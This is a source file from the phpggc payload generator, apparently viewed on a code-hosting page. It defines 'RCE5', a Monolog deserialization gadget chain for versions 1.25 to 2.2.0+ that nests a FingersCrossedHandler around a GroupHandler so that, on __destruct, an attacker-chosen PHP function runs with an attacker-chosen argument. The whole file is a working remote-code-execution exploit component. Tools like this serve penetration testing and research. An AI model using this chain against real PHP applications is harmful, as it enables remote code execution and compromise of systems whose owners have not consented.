Codebase list phpggc / 002c87e gadgetchains / Monolog / RCE / 5 / chain.php
002c87e

Tree @002c87e (Download .tar.gz)

chain.php @002c87eraw · history · blame

<?php

namespace GadgetChain\Monolog;

class RCE5 extends \PHPGGC\GadgetChain\RCE\FunctionCall
{
    public static $version = '1.25 <= 2.2.0+';
    public static $vector = '__destruct';
    public static $author = 'mayfly';

    public function generate(array $parameters)
    {
        $function = $parameters['function'];
        $parameter = $parameters['parameter'];
        return new \Monolog\Handler\FingersCrossedHandler($parameter,
            new \Monolog\Handler\GroupHandler($function)
        );
    }
}